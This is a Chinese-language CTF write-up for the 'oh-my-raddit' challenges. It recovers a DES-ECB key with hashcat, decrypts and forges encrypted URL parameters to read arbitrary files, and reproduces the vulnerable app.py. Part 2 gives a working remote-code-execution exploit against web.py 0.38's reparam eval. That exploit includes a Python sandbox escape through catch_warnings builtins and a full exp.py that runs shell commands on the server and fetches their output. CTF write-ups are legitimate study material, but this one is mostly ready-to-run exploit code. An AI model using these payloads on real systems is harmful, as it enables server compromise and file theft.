oh-my-raddit1¶
查看源代码发现:
<script type="text/javascript"> function change(t){ var limit = t.value if (limit == 10) { location.href = '?s=06e77f2958b65ffd3ca92540eb2d0a42'; } else if (limit == 100) { location.href = '?s=06e77f2958b65ffd2c0f7629b9e19627'; } else { location.href = '/'; } } </script>
06e77f2958b65ffd3ca92540eb2d0a42
与06e77f2958b65ffd2c0f7629b9e19627
相比较,前半部分完全一致,推测加密分组为8字节。
AES等加密方法也可以使用8字节分组,但通常是16字节,而DES加密只能使用8字节分组,猜测为DES加密
注意到后缀为3ca92540eb2d0a42
的实例一共有18处,可以肯定加密的明文是8的倍数,所以末尾统一填充'\x08'*8,而且加密模式为ECB模式,padding规则有pkcs5padding、pkcs7padding、zeropadding等
但DES通常使用pkcs5padding
不用zeropadding
.
所以现在可知\x08\x08\x08\x08\x08\x08\x08\x08
的加密结果为'3ca92540eb2d0a42'.decode('hex')
,而且秘钥全是小写字母。
使用hachcat进行爆破:
hashcat -m 14000 3ca92540eb2d0a42:0808080808080808 -a 3 '?l?l?l?l?l?l?l?l' --force
3ca92540eb2d0a42:0808080808080808:ldgonaro
ldgonaro
,是因为DES存在等价秘钥: DES通过种子秘钥生成子秘钥时,将64位的种子秘钥的8,16,24,32,40,48,56,64位作为奇偶校验位,不参与子秘钥的生成算法。
所以秘钥
bbbbbbbb
cccccccc
bin(ord('b'))=0b1100010 bin(ord('c'))=0b1100011
使用等价秘钥ldgonaro
解密所有密文:
from Crypto.Cipher import DES def get_cipher(): import requests import re pattern=re.compile('<a href="\?s=(\w*)">') url='http://127.0.0.1:8000/?s=06e77f2958b65ffd2c0f7629b9e19627' r=requests.get(url) data=r.text Cipher=pattern.findall(data) return Cipher key='ldgonaro' DES_fun=DES.new(key,DES.MODE_ECB) Cipher=get_cipher() plainData=[] for cipher in Cipher: plaintext=DES_fun.decrypt(cipher.decode('hex')) plainData.append(plaintext) for plain in plainData: print plain
m=d&f=uploads%2F70c97cc1-079f-4d01-8798-f36925ec
m=d&f=app.py
from Crypto.Cipher import DES import requests def get_cipher(plain): key='ldgonaro' DES_fun=DES.new(key,DES.MODE_ECB) length=DES.block_size-len(plain)%DES.block_size plain+=chr(length)*length cipher=DES_fun.encrypt(plain).encode('hex') return cipher url='http://127.0.0.1:8000/?s='+get_cipher('m=d&f=app.py') r=requests.get(url) print r.text
# coding: UTF-8 import os import web import urllib import urlparse from Crypto.Cipher import DES web.config.debug = False ENCRPYTION_KEY = 'megnnaro' urls = ( '/', 'index' ) app = web.application(urls, globals()) db = web.database(dbn='sqlite', db='db.db') def encrypt(s): length = DES.block_size - (len(s) % DES.block_size) s = s + chr(length)*length cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB) return cipher.encrypt(s).encode('hex') def decrypt(s): try: data = s.decode('hex') cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB) data = cipher.decrypt(data) data = data[:-ord(data[-1])] return dict(urlparse.parse_qsl(data)) except Exception as e: print e.message return {} def get_posts(limit=None): records = [] for i in db.select('posts', limit=limit, order='ups desc'): tmp = { 'm': 'r', 't': i.title.encode('utf-8', 'ignore'), 'u': i.id, } tmp['param'] = encrypt(urllib.urlencode(tmp)) tmp['ups'] = i.ups if i.file: tmp['file'] = encrypt(urllib.urlencode({'m': 'd', 'f': i.file})) else: tmp['file'] = '' records.append( tmp ) return records def get_urls(): urls = [] for i in [10, 100, 1000]: data = { 'm': 'p', 'l': i } urls.append( encrypt(urllib.urlencode(data)) ) return urls class index: def GET(self): s = web.input().get('s') if not s: return web.template.frender('templates/index.html')(get_posts(), get_urls()) else: s = decrypt(s) method = s.get('m', '') if method and method not in list('rdp'): return 'param error' if method == 'r': uid = s.get('u') record = db.select('posts', where='id=$id', vars={'id': uid}).first() if record: raise web.seeother(record.url) else: return 'not found' elif method == 'd': file = s.get('f') if not os.path.exists(file): return 'not found' name = os.path.basename(file) web.header('Content-Disposition', 'attachment; filename=%s' % name) web.header('Content-Type', 'application/pdf') with open(file, 'rb') as fp: data = fp.read() return data elif method == 'p': limit = s.get('l') return web.template.frender('templates/index.html')(get_posts(limit), get_urls()) else: return web.template.frender('templates/index.html')(get_posts(), get_urls()) if __name__ == "__main__": app.run()
oh-my-raddit2¶
相同操作下载requirements.txt发现web.py==0.38
.
这个版本的web.py存在一个RCE: https://securityetalii.es/2014/11/08/remote-code-execution-in-web-py-framework/
这个版本的web.py应该是作者提出漏洞后第一次的修复结果:
import web web.reparam("$__import__('os').getcwd()", {}) Traceback (most recent call last): File "<input>", line 1, in <module> File "/Users/n3k0/PycharmProjects/webpy/venv/lib/python2.7/site-packages/web/db.py", line 305, in reparam v = eval(chunk, dictionary) File "<string>", line 1, in <module> NameError: name '__import__' is not defined
__import__
无法使用,但下面的payload可用:
import web web.reparam("${(lambda getthem=([x for x in ().__class__.__base__.__subclasses__() if x.__name__=='catch_warnings'][0]()._module.__builtins__):getthem['__import__']('os').system('ls'))()} ", {}) test.py venv <sql: '0 '>
elif method == 'p': limit = s.get('l') return web.template.frender('templates/index.html')(get_posts(limit), get_urls()) else: return web.template.frender('templates/index.html')(get_posts(), get_urls())
get_posts()
函数。
get_posts:
def get_posts(limit=None): records = [] for i in db.select('posts', limit=limit, order='ups desc'): tmp = { 'm': 'r', 't': i.title.encode('utf-8', 'ignore'), 'u': i.id, } tmp['param'] = encrypt(urllib.urlencode(tmp)) tmp['ups'] = i.ups if i.file: tmp['file'] = encrypt(urllib.urlencode({'m': 'd', 'f': i.file})) else: tmp['file'] = '' records.append( tmp ) return records
def reparam(string_, dictionary): """ Takes a string and a dictionary and interpolates the string using values from the dictionary. Returns an `SQLQuery` for the result. >>> reparam("s = $s", dict(s=True)) <sql: "s = 't'"> >>> reparam("s IN $s", dict(s=[1, 2])) <sql: 's IN (1, 2)'> """ dictionary = dictionary.copy() # eval mucks with it # disable builtins to avoid risk for remote code exection. dictionary['__builtins__'] = object() vals = [] result = [] for live, chunk in _interpolate(string_): if live: v = eval(chunk, dictionary) result.append(sqlquote(v)) else: result.append(chunk) return SQLQuery.join(result, '')
from Crypto.Cipher import DES import requests def get_cipher(plain): key='ldgonaro' DES_fun=DES.new(key,DES.MODE_ECB) length=DES.block_size-len(plain)%DES.block_size plain+=chr(length)*length cipher=DES_fun.encrypt(plain).encode('hex') return cipher url='http://127.0.0.1:8000/?s='+get_cipher("m=p&l=${test}") print url http://127.0.0.1:8000/?s=3a3712cba592b47c5ca50b1fa63d1e82
在reparam()处下断点,debug: 可以看到传给eval()的参数,但eval()可以执行传入的命令,但并不会回显,可以选择将命令执行的结果放入tmp目录下,再下载下来。
exp.py:
from Crypto.Cipher import DES import requests def get_cipher(plain): key='ldgonaro' DES_fun=DES.new(key,DES.MODE_ECB) length=DES.block_size-len(plain)%DES.block_size plain+=chr(length)*length cipher=DES_fun.encrypt(plain).encode('hex') return cipher url1='http://127.0.0.1:8000/?s='+get_cipher("m=p&l=${(lambda getthem=([x for x in ().__class__.__base__.__subclasses__() if x.__name__=='catch_warnings'][0]()._module.__builtins__):getthem['__import__']('os').system('ls / > /tmp/data'))()}") url2='http://127.0.0.1:8000/?s='+get_cipher("m=d&f=/tmp/data") r1=requests.get(url1) r2=requests.get(url2) print r2.text